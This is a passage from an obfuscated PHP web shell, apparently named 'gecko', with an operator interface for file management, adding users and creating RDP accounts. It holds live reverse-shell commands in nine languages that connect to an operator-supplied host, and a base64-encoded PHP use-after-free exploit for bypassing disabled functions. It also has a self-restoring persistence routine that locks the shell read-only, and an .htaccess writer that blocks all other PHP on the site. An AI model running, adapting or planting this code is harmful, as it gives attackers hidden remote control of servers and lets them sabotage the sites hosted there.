echo " <div class=\"modal active\">\n <div class=\"modal-container\"\x3e\n <div class=\"modal-header\"\x3e\n <h3><b\x3e<i id=\"modal-title\"\x3eChange Permission : ";
echo unx($_GET["ch"]);
echo "</i\x3e</b></h3\x3e\n </div>\n <div class=\"modal-body\"\x3e\n <form action=\"\" method=\"post\">\n <span id=\"modal-input\"><input type=\"number\" name=\"chFile\" class=\"modal-create-input\" placeholder=\"0775\"\x3e</span\x3e\n <div class=\"modal-btn-form\">\n <input type=\"submit\" name=\"submit\" value=\"Submit\" class=\"btn-modal-close box-shadow\"\x3e\x26nbsp;<button class=\"btn-modal-close box-shadow close-btn-s\"\x3eClose</button\x3e\n </div\x3e\n </form\x3e\n </div\x3e\n </div>\n </div>\n </div\x3e\n ";
}
echo "\n <script>\n \$(document).ready(function() {\n \$('#create_folder').click(function() {\n \$('.modal').show();\n \$('\x23modal-title').html('<i class=\"fa-solid fa-folder-plus\"></i>\x26nbsp;Create Folder');\n \$('#modal-input').html('<input type=\"text\" name=\"create_folder\" class=\"modal-create-input\" placeholder=\"Create Folder\">');\n event.preventDefault();\n });\n \$('#create_file').click(function() {\n \$('.modal').show();\n \$('#modal-title').html('<i class=\"fa-solid fa-file-circle-plus\"></i>\x26nbsp;Create File');\n \$('\x23modal-input').html('<input type=\"text\" name=\"create_file\" class=\"modal-create-input\" placeholder=\"Create File\">');\n event.preventDefault();\n });\n \$('#lock-file').click(function() {\n \$('.modal').show();\n \$('\x23modal-title').html('<i class=\"fa-solid fa-lock\"\x3e</i> LOCK F\x49LE');\n \$('\x23modal-input').html('<input type=\"text\" name=\"lockfile\" class=\"modal-create-input\" placeholder=\"Your File Name\"\x3e');\n event.preventDefault();\n });\n \$('#root-user').click(function() {\n \$('.modal').show();\n \$('\x23modal-title').html('<i class=\"fa-solid fa-user-plus\"></i\x3e ADD \x55SER');\n \$('#modal-input').html('<input type=\"text\" name=\"add-username\" class=\"modal-create-input\" placeholder=\"\x55sername\"\x3e<br><br><input type=\"text\" name=\"add-password\" class=\"modal-create-input\" placeholder=\"Password\"\x3e');\n event.preventDefault();\n });\n\n \$('\x23create-rdp').click(function() {\n \$('.modal').show();\n \$('#modal-title').html(':: CREATE RDP');\n \$('\x23modal-input').html('<input type=\"text\" name=\"add-rdp\" class=\"modal-create-input\" placeholder=\"\x55sername\"><br\x3e<br\x3e<input type=\"text\" name=\"add-rdp-pass\" class=\"modal-create-input\" placeholder=\"Password\">');\n event.preventDefault();\n });\n\n \$('#close-modal').click(function() {\n \$('.modal').hide();\n event.preventDefault();\n });\n \$('#close-editor').click(function() {\n \$('.code-editor').hide();\n event.preventDefault();\n });\n\n \$('.close-terminal').click(function() {\n \$('.terminal').hide();\n event.preventDefault();\n });\n \$('.close-btn-s').click(function() {\n \$('.modal').hide();\n event.preventDefault();\n });\n });\n </script\x3e\n</body\x3e\n\n</html>\n";
if (isset($_POST["submit-bc"])) {
${"GLOBALS"}["oclhmdpoma"] = "PortServer";
${${"GLOBALS"}["asqxyupgfaa"]} = $_POST["backconnect-host"];
${${"GLOBALS"}["oclhmdpoma"]} = $_POST["backconnect-port"];
if ($_POST["gecko-bc"] == "perl") {
$vzdlkhskqyz = "\x48ostServer";
echo cmd("perl -e 'use Socket;\$i=\"" . ${$vzdlkhskqyz} . "\";\$p=" . ${${"GLOBALS"}["onmtulj"]} . ";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\"\x3e\x26S\");open(STDO\x55T,\"\x3e\x26S\");open(STDERR,\"\x3e&S\");exec(\"/bin/sh -i\");};'");
} else if ($_POST["gecko-bc"] == "python") {
${"GLOBALS"}["hkrdyrymu"] = "PortServer";
$igilbvwnbdy = "\x48ostServer";
echo cmd("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"" . ${$igilbvwnbdy} . "\"," . ${${"GLOBALS"}["hkrdyrymu"]} . "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'");
} else if ($_POST["gecko-bc"] == "ruby") {
echo cmd("ruby -rsocket -e'f=TCPSocket.open(\"" . ${${"GLOBALS"}["asqxyupgfaa"]} . "\"," . ${${"GLOBALS"}["onmtulj"]} . ").to_i;exec sprintf(\"/bin/sh -i <&%d >\x26\x25d 2>\x26\x25d\",f,f,f)'");
} else if ($_POST["gecko-bc"] == "bash") {
$igituk = "HostServer";
${"GLOBALS"}["jigalchm"] = "PortServer";
echo cmd("bash -i >\x26 /dev/tcp/" . ${$igituk} . "/" . ${${"GLOBALS"}["jigalchm"]} . " 0>\x261");
} else if ($_POST["gecko-bc"] == "php") {
$fiqeplosj = "PortServer";
echo cmd("php -r '\$sock=fsockopen(\"" . ${${"GLOBALS"}["asqxyupgfaa"]} . "\"," . ${$fiqeplosj} . ");exec(\"/bin/sh -i <&3 \x3e\x263 2\x3e&3\");'");
} else if ($_POST["gecko-bc"] == "nc") {
echo cmd("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>\x261|nc " . ${${"GLOBALS"}["asqxyupgfaa"]} . " " . ${${"GLOBALS"}["onmtulj"]} . " >/tmp/f");
} else if ($_POST["gecko-bc"] == "sh") {
$sqggcn = "PortServer";
${"GLOBALS"}["kfmvgeebstj"] = "\x48ostServer";
echo cmd("sh -i >\x26 /dev/tcp/" . ${${"GLOBALS"}["kfmvgeebstj"]} . "/" . ${$sqggcn} . " 0\x3e\x261");
} else if ($_POST["gecko-bc"] == "xterm") {
${"GLOBALS"}["uifkeyprrrd"] = "\x48ostServer";
echo cmd("xterm -display " . ${${"GLOBALS"}["uifkeyprrrd"]} . ":" . ${${"GLOBALS"}["onmtulj"]});
} else if ($_POST["gecko-bc"] == "golang") {
${"GLOBALS"}["vymdumjjwl"] = "\x48ostServer";
echo cmd("echo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"" . ${${"GLOBALS"}["vymdumjjwl"]} . ":" . ${${"GLOBALS"}["onmtulj"]} . "\");cmd:=exec.Command(\"/bin/sh\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go \x26\x26 go run /tmp/t.go \x26& rm /tmp/t.go");
}
}
if ($_GET["terminal"] == "bypasser") {
$jnhbeipkkng = "fungsi";
${"GLOBALS"}["yigkxcixwx"] = "fungsi";
if (!${$jnhbeipkkng}[3](".term-bypass") && ${${"GLOBALS"}["ffhwthehfke"]}[4](${${"GLOBALS"}["yigkxcixwx"]}[0]())) {
$cchjfh = "connt";
${$cchjfh} = "PD9waHAKZnVuY3Rpb24gcHduKCRjbWRkKSB7CiAgICBnbG9iYWwg\x4aGFiYywgJGhlb\x48BlciwgJG\x4ahY2t0cmFjZTsKCiAgICBjbGFzcyBWdWxuIHsK\x49CAgICAg\x49CBwdW\x4asaWMgJGE7CiAgICAgICAgc\x48VibGlj\x49GZ1bmN0aW9u\x49F9fZGVzd\x48J1Y3QoKSB7IAogICAg\x49CAg\x49CAgICBnbG9iYWwg\x4aGJhY2t0cmFjZTsgCiAg\x49CAgICAg\x49CAgI\x48Vuc2V0KCR0aGlzLT5hKTsK\x49CAg\x49CAgICAg\x49CAg\x4aGJhY2t0cmFjZSA9\x49ChuZXcgRXhjZ\x58B0aW9uKS0+Z2V0V\x48JhY2\x55oKTsg\x49yA7K\x51og\x49CAg\x49CAg\x49CAg\x49CBpZighaXNzZX\x51oJG\x4ahY2t0cmFjZVsxXVsnY\x58\x4ancyddKSkgeyAj\x49FB\x49\x55CA+PSA3Lj\x51K\x49CAgICAg\x49CAg\x49CAg\x49CAgICRiYWNrd\x48\x4ahY2\x55gPSBkZW\x4a1Z19iYWNrdHJhY2UoKTsKICAgICAg\x49CAg\x49CAgfQogICAg\x49CAg\x49H0KICAgIH0KCiAgICBjbGFzcyB\x49ZWxwZ\x58\x49gewogICAgICAgI\x48B1YmxpYyAkYSwgJGIs\x49CRjLCAkZDsK\x49CAg\x49\x480KCiAg\x49CBmdW5jdGlvbiBzd\x48\x49yc\x48RyKCYkc3RyLCAkcCA9\x49DAs\x49CRz\x49D0gOCkgewogICAgICAgICRhZGRyZXNz\x49D0gMDsKICAgICAg\x49CBmb3IoJGogPSAkcy0xOyAkaiA+PSAwOyAkai0tKSB7CiAg\x49CAgICAgICAg\x49CRhZGRyZ\x58Nz\x49Dw8PSA4Owog\x49CAg\x49CAgICAgICAkYWRkcmVzcyB8PSBvcm\x51oJHN0clskcCskal0pOwog\x49CAg\x49CAgIH0K\x49CAgICAgICByZ\x58R1cm4gJGFkZH\x4alc3M7CiAgICB9Cgog\x49CAgZnVuY3Rpb24gc\x48RyMnN0cigkcHRyLCAkbSA9\x49DgpIHsKICAgICAgICAkb3V0\x49D0g\x49iI7CiAg\x49CAg\x49CAgZm9yICgkaT0wOyAkaSA8\x49CRtOyAkaSsrKSB7CiAg\x49CAg\x49CAgICAg\x49CRvdXQgLj0gY2hyKCRwdHIg\x4aiAweGZmKTsKICAg\x49CAg\x49CAgICAgJHB0ciA+Pj0gODsKICAg\x49CAg\x49CB9CiAg\x49CAgICAgcmV0d\x58\x4auICRvdXQ7CiAg\x49CB9CgogICAgZnVuY3Rpb24gd3JpdG\x55o\x4aiRzd\x48\x49s\x49CRwLCAkdiwg\x4aG4gPSA4KSB7CiAgICAgICAg\x4aGkgPSAwOwog\x49CAgICAgIGZvcigkaSA9\x49DA7ICRp\x49DwgJG47\x49CRpKyspIHsKICAgICAg\x49CAg\x49CAg\x4a\x48N0clskcCAr\x49CRp\x58SA9IGNocigkdiAm\x49DB4ZmYpOwog\x49CAg\x49CAgICAgICAkdiA+Pj0gODsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gbGVhaygkYWRkciwg\x4a\x48AgPSAwLCAkcyA9IDgp\x49\x48sK\x49CAgICAgICBnbG9iYWwg\x4aGFiYywg\x4aGhlbHBlcjsK\x49CAg\x49CAgICB3cml0ZSgkYWJjLCAweDY4LCAkYWRkciArICRw\x49C0gM\x48gxMCk7CiAgICAgICAg\x4aGxlYWsgPSBzd\x48JsZW4o\x4aGhlb\x48Blci0+YSk7CiAg\x49CAgICAgaWYo\x4a\x48Mg\x49T0gOCkgeyAkbGVhayAlPSAy\x49Dw8ICgkcyAq\x49Dgp\x49C0gMTsgf\x51og\x49CAg\x49CAg\x49\x48\x4aldHVybiAkbGVhazsKICAg\x49\x480KCiAgICBmdW5jdGlvbiBwY\x58\x4azZV9lbGYoJGJhc2\x55p\x49HsKICAgICAgICAkZV90e\x58Bl\x49D0gbGVhaygkYmFzZSwgMHgxMCwgMik7CgogICAg\x49CAg\x49CRl\x583Bob2ZmID0gbGVhaygkYmFzZSwgM\x48gyMCk7CiAgICAg\x49CAgJGVfcGhlbnRzaXpl\x49D0gbGVhaygkYmFzZSwgMHgzNiwgMik7CiAgICAgICAgJGVfcGhudW0gPSBsZWFrKCRiY\x58NlLCAweDM4LCAyKTsKCiAgICAg\x49CAgZm9yKCRpID0gMDsg\x4aGkgPCAkZV9waG51bTsg\x4aGkrKykgewogICAgICAg\x49CAgICAkaGVhZGVy\x49D0gJG\x4ahc2UgKyAkZV9waG9mZiArICRp\x49CogJGVfcGhlbnRzaXplOwogICAgICAgICAgICAkcF90e\x58BlICA9\x49GxlYWsoJGhlYWRlciwgMCwgNCk7CiAg\x49CAgICAgICAg\x49CRw\x582ZsYWdz\x49D0gbGVhaygkaGVhZGVyLCA0LCA0KTsK\x49CAgICAgICAg\x49CAg\x4aHBfdmFkZ\x48IgPSBsZWFrKCRoZWFkZ\x58IsIDB4MTApOwogICAgICAg\x49CAg\x49CAkcF9tZW1zeiA9\x49GxlYWso\x4aGhlYWRlciwgM\x48gyOCk7CgogICAg\x49CAg\x49CAg\x49CBpZigkcF90e\x58BlID09IDEgJiYg\x4aHBfZmxhZ3MgPT0gNikgeyAjIFBUX0xPQ\x55\x51s\x49FBGX1\x4alYWRfV3\x4apdGUKICAgICAgICAg\x49CAgICAgICMgaGFuZGxl\x49HBpZ\x51og\x49CAg\x49CAg\x49CAgICAgICAgJGRhdGFfYWRkciA9\x49CRlX3R5cGUgPT0gMiA/\x49CRwX3ZhZGRy\x49DogJG\x4ahc2\x55gKyAkcF92YWRkcjsKICAgICAgICAg\x49CAg\x49CAg\x49CRkYXRh\x583Npem\x55gPSAkcF9tZW1zejsK\x49CAg\x49CAg\x49CAgICAgfSBlbHNl\x49GlmKCRw\x583R5cGUgPT0gMSAmJiAkcF9mbGFncyA9PSA1KSB7\x49CMgUFRfTE9BRCwgUEZf\x55mVhZF9leGVjCiAg\x49CAgICAgICAgICAgICAkdGV4dF9za\x58plID0g\x4aHBfbWVtc3o7CiAgICAg\x49CAgICAg\x49\x480KICAgICAg\x49CB9Cgog\x49CAgICAg\x49GlmKCEkZGF0YV9hZGRy\x49Hx8\x49CEkdGV4dF9zaXplIHx8\x49CEkZGF0YV9zaXplKQog\x49CAg\x49CAgICAg\x49CByZ\x58R1cm4gZmFsc2\x557CgogICAgICAgIHJld\x48VybiBb\x4aGRhdGFfYWRkciwg\x4a\x48RleHRfc2l6ZSwgJGRhdGFfc2l6ZV07CiAg\x49CB9Cgog\x49CAgZnVuY3Rpb24gZ2V0X2\x4ahc2ljX2Z1bmNzKCRiY\x58NlLCAkZWxmKSB7CiAgICAgICAgbGlzdCgkZGF0YV9hZGRyLCAkdGV4dF9zaXplLCAkZGF0YV9za\x58plKSA9\x49CRlbGY7CiAgICAg\x49CAgZm9yKCRp\x49D0gMDsgJGkgPCAkZGF0YV9zaXpl\x49C8gODsgJGkrKykgewog\x49CAg\x49CAgICAg\x49CAkbGVhayA9IGxlYWsoJGRhdGFfYWRkciwg\x4aGkgKiA4KTsK\x49CAgICAg\x49CAg\x49CAgaWYo\x4aGxlYWsgLSAkYmFzZSA+IDAgJiYg\x4aGxlYWsgLSAkYmFzZSA8ICRkY\x58RhX2FkZHIgLSAkYmFzZSkgewogICAg\x49CAg\x49CAgICAgICAg\x4aGRlcmVm\x49D0gbGVhaygkbGVhayk7CiAgICAgICAg\x49CAgICAgICAjICdjb25zdGFudCcgY29uc3Rhbn\x51gY2hlY2sK\x49CAgICAgICAg\x49CAg\x49CAgIGlmKCRkZ\x58JlZiAhPSAweDc0Nm\x552MTc0NzM2ZTZmNjMpCiAgICAg\x49CAg\x49CAg\x49CAgICAgICAgY29udGludWU7CiAgICAgICAg\x49CAgIH0gZWxzZSBjb250aW51ZTsKCiAgICAgICAg\x49CAgICRsZWFrID0gbGVhaygkZGF0YV9hZGRyLCAoJGkgKyA0KSAqIDgpOwog\x49CAg\x49CAgICAgICBpZigkbGVhayAt\x49CRiYXNlID4gMCAm\x4aiAkbGVhayAtICRiYXNlIDwgJGRhdGFfYWRkciAtICRiYXNlKSB7CiAgICAg\x49CAg\x49CAg\x49CAgICAkZGVyZWYgPSBsZWFrKCRsZWFrKTsK\x49CAg\x49CAg\x49CAg\x49CAg\x49CAg\x49CMg\x4a2\x4apbj\x4aoZXgnIGNvbnN0YW50IGNoZWNrCiAgICAgICAg\x49CAg\x49CAgICBpZigkZGVyZWYg\x49T0gMHg3ODY1NjgzMjZlNjk2MikK\x49CAg\x49CAgICAg\x49CAgICAg\x49CAg\x49CBjb250aW51ZTsK\x49CAgICAg\x49CAgICAgfSBlb\x48NlIGNvbnRpbnVlOwoK\x49CAgICAg\x49CAgICAgcmV0dX\x4auICRkYXRh\x582FkZHIgKyAkaSAq\x49Dg7CiAg\x49CAgICAgf\x51og\x49CAgfQoK\x49CAgIGZ1bmN0aW9uIGdldF9iaW5hcnlfYmFzZSgkYmluYXJ5X2xlYWsp\x49HsKICAg\x49CAgICAkYmFzZSA9\x49DA7CiAg\x49CAgICAgJHN0YX\x4a0ID0gJGJpbmFyeV9sZWFrICYgM\x48hmZmZmZmZmZmZmZmZmMDAwOwogICAgICAg\x49GZvcigkaSA9IDA7\x49CRpIDwgM\x48gxMDAwOyAkaSsrKSB7CiAg\x49CAgICAg\x49CAgICRhZGRyID0g\x4aHN0YX\x4a0IC0gM\x48gxMDAw\x49Cog\x4aGk7CiAgICAgICAg\x49CAg\x49CRsZWFrID0gbGVhaygkYWRkciwgMCwgNyk7CiAgICAgICAgICAgIGlmKCRsZWFr\x49D09IDB4MTAxMD\x490NjRjNDU3ZikgeyAj\x49EVMRiBoZWFkZXIKICAg\x49CAgICAgICAgICAgI\x48\x4ald\x48VybiAkYWRkcjsK\x49CAgICAg\x49CAg\x49CAgfQogICAg\x49CAgI\x480K\x49CAg\x49H0KCiAgICBmdW5jdGlvbiBnZXRfc3lzdGVtKCRiY\x58NpY19mdW5jcykgewogICAg\x49CAg\x49CRhZGRyID0g\x4aGJhc2ljX2Z1bmNzOwog\x49CAgICAg\x49GRvI\x48sKICAg\x49CAgICAg\x49CAgJGZfZW50cnkgPSBsZWFrKCRhZGRyKTsKICAgICAgICAg\x49CAg\x4aGZfbmFtZSA9\x49GxlYWsoJGZfZW50cnksIDAsIDYpOwoK\x49CAg\x49CAg\x49CAg\x49CAgaWYoJGZfbmFtZSA9PSAweDZkNj\x553NDczNzk3MykgeyAj\x49\x48N5c3Rlb\x51ogICAgICAgICAg\x49CAgICAgcmV0d\x58\x4au\x49GxlYWso\x4aGFkZ\x48\x49gKyA4KTsKICAgICAgICAgICAgf\x51og\x49CAg\x49CAgICAg\x49CAkYWRkciArPSAweD\x49wOwog\x49CAg\x49CAgI\x480gd2hpbGUo\x4aGZfZW50cnkg\x49T0gMCk7CiAg\x49CAgICAgcmV0dX\x4auIGZhb\x48NlOwog\x49CAgfQoK\x49CAgIGZ1bmN0aW9uI\x48RyaWdnZ\x58\x4afdWFmKCRhcmcpI\x48sKICAg\x49CAg\x49CAjIHN0cl9za\x48VmZmxlI\x48ByZXZlbnRz\x49G9wY2FjaGUgc3RyaW5nIGludGVybmluZwog\x49CAg\x49CAgICRhcmcgPSBzdH\x4afc2h1ZmZsZShzdHJfcmVwZWF0KCdB\x4aywgNzkpKTsKICAg\x49CAgICAkdnVsbiA9\x49G5ldyBWdWxuKCk7CiAg\x49CAg\x49CAgJHZ1bG4tPmEgPSAkYXJnOwogICAgf\x51oKICAgIGlmKHN0cmlzdHIoUEh\x51\x5809TLCAnV0lO\x4aykp\x49\x48sK\x49CAgICAg\x49CBkaW\x55o\x4a1RoaXMg\x55G9D\x49Glz\x49GZvciAqbml4\x49HN5c3RlbXMgb25seS4nKTsK\x49CAg\x49H0KCiAg\x49CAkbl9hbGxvYyA9IDEwOyAj\x49GluY3\x4alY\x58Nl\x49HRoaXMgdmFsdWUgaWYgVUFGIGZhaWxzCiAg\x49CAkY29udGlndW91cyA9\x49FtdOwog\x49CAgZm9yKCRpID0gMDsg\x4aGkgPCAkbl9hbGxvYzsgJGkrKykKICAgICAg\x49CAkY29udGlndW91c1tdID0gc3Ry\x583NodWZmbGUoc3Ry\x583\x4alcGVhdCgnQScs\x49Dc5KSk7Cgog\x49CAgdHJpZ2dlcl91YWYoJ3gnKTsK\x49CAg\x49CRhYmMgPSAkYmFja3RyYWNlWzFdWydhcmdzJ11bMF07Cgog\x49CAg\x4aGhlbHBlciA9\x49G5ldyBIZWxwZ\x58\x497CiAgICAkaGVscGVyLT5iID0gZnVuY3Rpb24gKCR4KSB7IH07CgogICAgaWYoc3RybGVuKCRhYmMpID09IDc5IHx8\x49HN0cmxlbigkYWJjKSA9PSAwKSB7CiAg\x49CAg\x49CAgZGllKC\x4aV\x51\x55YgZmFpbGVkIik7CiAg\x49CB9CgogICAgIyBsZWFrcwog\x49CAgJGNsb3N1cmVfaGFuZGxlcnMgPSBzd\x48Iyc\x48RyKCRhYmMsIDApOwog\x49CAg\x4aHBocF9oZWFwID0gc3RyMnB0cigkYW\x4ajLCAweD\x554KTsKICAg\x49CRhYmNfYWRkciA9\x49CRwa\x48BfaGVhcCAtIDB4Yzg7Cgog\x49CAg\x49yBmYWtlI\x48Zhb\x48VlCiAg\x49CB3cml0ZSgkYW\x4ajLCAweDYwLCAyKTsK\x49CAg\x49\x48dyaXRlKCRhYmMsIDB4NzAs\x49DYpOwoK\x49CAgICMgZmFrZSByZWZlcmVuY2UKICAgI\x48dya\x58RlKCRhYmMsIDB4MTAs\x49CRhYmNfYWRkciAr\x49DB4NjApOwog\x49CAgd3JpdG\x55oJGFiYywgM\x48gxOCwgMHhhKTsKCiAg\x49CAkY2xvc3VyZV9vYmogPSBzd\x48Iyc\x48RyKCRhYmMs\x49DB4MjApOwoK\x49CAgICRiaW5hcnlfbGVhayA9IGxlYWsoJGNsb3N1cmVfaGFuZGxlcnMsIDgpOwogICAgaWYoISgkYmFzZSA9IGdldF9iaW5hcnlfYmFzZSgkYmluY\x58\x4a5X2xlYWspKSkgewog\x49CAgICAg\x49GRpZSgiQ291bGRuJ3\x51gZGV0ZX\x4ataW5l\x49G\x4apbmFyeSBiYXNlIGFkZ\x48Jlc3MiKTsKICAg\x49\x480KCiAg\x49CBpZighKCRlbGYgPSBwY\x58\x4azZV9lbGYo\x4aG\x4ahc2UpKSkgewog\x49CAgICAgIGRpZSgiQ291bGRuJ3\x51gcGFyc2UgRUxGIGhlYWRlci\x49pOwog\x49CAgfQoK\x49CAgIGlmKCEo\x4aG\x4ahc2lj\x582Z1bmNzID0gZ2V0\x582\x4ahc2ljX2Z1bmNzKCRiY\x58NlLCAkZWxmKSkp\x49\x48sK\x49CAg\x49CAg\x49CBkaWUo\x49kNvdWxkbid0\x49GdldCBiYXNpY19mdW5jdGlvbnMgYWRkcmVzcy\x49pOwog\x49CAgfQoKICAgIGlmKCEoJHppZl9zeXN0ZW0gPSBnZ\x58Rfc3lzdGVtKCRiYXNpY19mdW5jcykpKSB7CiAgICAg\x49CAgZGllKC\x4aDb3VsZG4ndCBnZ\x58\x51gemlmX3N5c3RlbSBhZGRyZXNzIik7CiAgICB9Cgog\x49CAg\x49yBmYWtlIGNsb3N1cm\x55gb2\x4aqZWN0CiAgICAkZmFrZV9vYmpfb2Zmc2V0\x49D0gM\x48hkMDsKICAg\x49GZvcigkaSA9\x49DA7ICRpIDwgMHgxMTA7ICRp\x49Cs9\x49Dgp\x49HsKICAg\x49CAgICB3cml0ZSgkYW\x4ajLCAkZmFrZV9vYmpfb2Zmc2V0\x49CsgJGksIGxlYWso\x4aGNsb3N1cmVfb2\x4aqLCAkaSkpOwog\x49CAgf\x51oKICAg\x49CMgcHduCiAgICB3cml0ZSgkYWJjLCAweDIwLCAkYWJj\x582FkZ\x48\x49gKyAkZmFrZV9vYmpfb2Zmc2V0KTsK\x49CAgIHdyaXRlKCRhYmMs\x49DB4ZDAgKyAweDM4LCAxLCA0KTsg\x49yBpbnRlcm5hbCBmdW5j\x49HR5cG\x55K\x49CAg\x49Hdya\x58RlKCRhYmMs\x49DB4ZDAgKyAweDY4LCAkemlmX3N5c3RlbSk7\x49CMgaW50Z\x58\x4auYWwgZnVuYyBoYW5kbGVyCgog\x49CAgKCRoZWxwZ\x58\x49tPmIpKCRjbWRkKTsKf\x51==";
${${"GLOBALS"}["ffhwthehfke"]}[28](".term-bypass", base64_decode(${${"GLOBALS"}["vbysbyqmoir"]}));
}
}
if (isset($_GET["lockshell"])) {
$yymgacvacj = "curFile";
${"GLOBALS"}["kwnmjfmvr"] = "TmpNames";
${"GLOBALS"}["ifhkaz"] = "fungsi";
${"GLOBALS"}["owmeir"] = "TmpNames";
$jgnjeypto = "fungsi";
${"GLOBALS"}["uscsletrlqs"] = "fungsi";
${"GLOBALS"}["kniyeehu"] = "hndlers";
${"GLOBALS"}["mqttlsuvg"] = "fungsi";
${"GLOBALS"}["zpokhfunytr"] = "TmpNames";
$yrqqonwycp = "curFile";
${"GLOBALS"}["moxkrqaybfp"] = "TmpNames";
$taishgndtfu = "hndlers";
${${"GLOBALS"}["prsrvsm"]} = trim(basename($_SERVER["SCR\x49PT_F\x49LENAME"]));
$nelxwnrfxcs = "fungsi";
$hdacmgwp = "fungsi";
$orhsuwtkdrnd = "handler";
${"GLOBALS"}["towrvjmuck"] = "curFile";
${"GLOBALS"}["bfyhmwrsgpsd"] = "curFile";
$uimcetjsmb = "TmpNames";
${"GLOBALS"}["mpjsxb"] = "curFile";
${${"GLOBALS"}["dbqsqfmq"]} = ${$hdacmgwp}[31]();
if (file_exists(${${"GLOBALS"}["owmeir"]} . "/.sessions/." . base64_encode(${$nelxwnrfxcs}[0]() . remove_dot(${${"GLOBALS"}["bfyhmwrsgpsd"]}) . "-handler")) && file_exists(${${"GLOBALS"}["zpokhfunytr"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["mqttlsuvg"]}[0]() . remove_dot(${${"GLOBALS"}["prsrvsm"]}) . "-text"))) {
$rfwktnqdi = "TmpNames";
$ipeebwy = "fungsi";
${"GLOBALS"}["cxqgbqvz"] = "curFile";
${"GLOBALS"}["goafmpoh"] = "curFile";
cmd("rm -rf " . ${$rfwktnqdi} . "/.sessions/." . base64_encode(${$ipeebwy}[0]() . remove_dot(${${"GLOBALS"}["goafmpoh"]}) . "-text"));
cmd("rm -rf " . ${${"GLOBALS"}["dbqsqfmq"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["ffhwthehfke"]}[0]() . remove_dot(${${"GLOBALS"}["cxqgbqvz"]}) . "-handler"));
}
mkdir(${${"GLOBALS"}["moxkrqaybfp"]} . "/.sessions");
$pgvnskgnqw = "fungsi";
cmd("cp $curFile " . ${${"GLOBALS"}["dbqsqfmq"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["uscsletrlqs"]}[0]() . remove_dot(${${"GLOBALS"}["prsrvsm"]}) . "-text"));
chmod(${${"GLOBALS"}["mpjsxb"]}, 0444);
${${"GLOBALS"}["rkgfykokmyu"]} = "\n<?php\n@ini_set(\"max_execution_time\", 0);\nwhile (True){\n if (!file_exists(\"" . __DIR__ . "\")){\n mkdir(\"" . __DIR__ . "\");\n }\n if (!file_exists(\"" . ${${"GLOBALS"}["ffhwthehfke"]}[0]() . "/" . ${${"GLOBALS"}["prsrvsm"]} . "\")){\n \$text = base64_encode(file_get_contents(\"" . ${${"GLOBALS"}["kwnmjfmvr"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["ifhkaz"]}[0]() . remove_dot(${${"GLOBALS"}["towrvjmuck"]}) . "-text") . "\"));\n file_put_contents(\"" . ${$jgnjeypto}[0]() . "/" . ${${"GLOBALS"}["prsrvsm"]} . "\", base64_decode(\$text));\n }\n if (gecko_perm(\"" . ${${"GLOBALS"}["ffhwthehfke"]}[0]() . "/" . ${$yymgacvacj} . "\") \x21= 0444){\n chmod(\"" . ${${"GLOBALS"}["ffhwthehfke"]}[0]() . "/" . ${${"GLOBALS"}["prsrvsm"]} . "\", 0444);\n }\n if (gecko_perm(\"" . __DIR__ . "\") \x21= 0555){\n chmod(\"" . __DIR__ . "\", 0555);\n }\n}\n\nfunction gecko_perm(\$flename){\n return substr(sprintf(\"%o\", fileperms(\$flename)), -4);\n}\n";
$nlnkqqe = "fungsi";
${$taishgndtfu} = ${$pgvnskgnqw}[28](${$uimcetjsmb} . "/.sessions/." . base64_encode(${$nlnkqqe}[0]() . remove_dot(${$yrqqonwycp}) . "-handler") . "", ${$orhsuwtkdrnd});
if (${${"GLOBALS"}["kniyeehu"]}) {
${"GLOBALS"}["rcbsfbhhw"] = "curFile";
cmd("php " . ${${"GLOBALS"}["dbqsqfmq"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["ffhwthehfke"]}[0]() . remove_dot(${${"GLOBALS"}["rcbsfbhhw"]}) . "-handler") . " > /dev/null 2\x3e/dev/null \x26");
success();
} else {
failed();
}
}
if (isset($_POST["gecko-up-submit"])) {
${"GLOBALS"}["llzjfekd"] = "fungsi";
${"GLOBALS"}["qlulriwekku"] = "tmpName";
${${"GLOBALS"}["oaozwlw"]} = $_FILES["gecko-upload"]["name"];
${${"GLOBALS"}["qlulriwekku"]} = $_FILES["gecko-upload"]["tmp_name"];
if (${${"GLOBALS"}["llzjfekd"]}[29](${${"GLOBALS"}["ikchyqomiv"]}, ${${"GLOBALS"}["ffhwthehfke"]}[0]() . "/" . ${${"GLOBALS"}["oaozwlw"]})) {
success();
} else {
failed();
}
}
if (isset($_GET["destroy"])) {
${"GLOBALS"}["scipkt"] = "DOC_ROOT";
$tungiogq = "CurrentFile";
${${"GLOBALS"}["scipkt"]} = $_SERVER["DOC\x55MENT_ROOT"];
${$tungiogq} = trim(basename($_SERVER["SCR\x49PT_F\x49LENAME"]));
if (${${"GLOBALS"}["ffhwthehfke"]}[4](${${"GLOBALS"}["dbbudshjycm"]})) {
$wkdltvshns = "put_htt";
${"GLOBALS"}["oitywkqd"] = "DOC_ROOT";
${${"GLOBALS"}["cbuxechbfwy"]} = "\n<FilesMatch \"\x5c.(php|ph*|Ph*|PH*|p\x48*)\$\"\x3e\n Deny from all\n</FilesMatch\x3e\n<FilesMatch \"^(" . ${${"GLOBALS"}["cpowqrgjnf"]} . "|index.php|wp-config.php|wp-includes.php)\$\">\n Allow from all\n</FilesMatch\x3e\n<FilesMatch \"\\.(jpg|png|gif|pdf|jpeg)\$\"\x3e\n Allow from all\n</FilesMatch>";
$midrsrncedqf = "fungsi";
${${"GLOBALS"}["cbbnsxlolny"]} = ${$midrsrncedqf}[28](${${"GLOBALS"}["oitywkqd"]} . "/.htaccess", ${${"GLOBALS"}["cbuxechbfwy"]});
if (${$wkdltvshns}) {
success();
} else {
failed();
}
} else {
failed();
}
}
if (isset($_POST["save-editor"])) {
$fweaiuwvhj = "save";
$davrseruwt = "save";
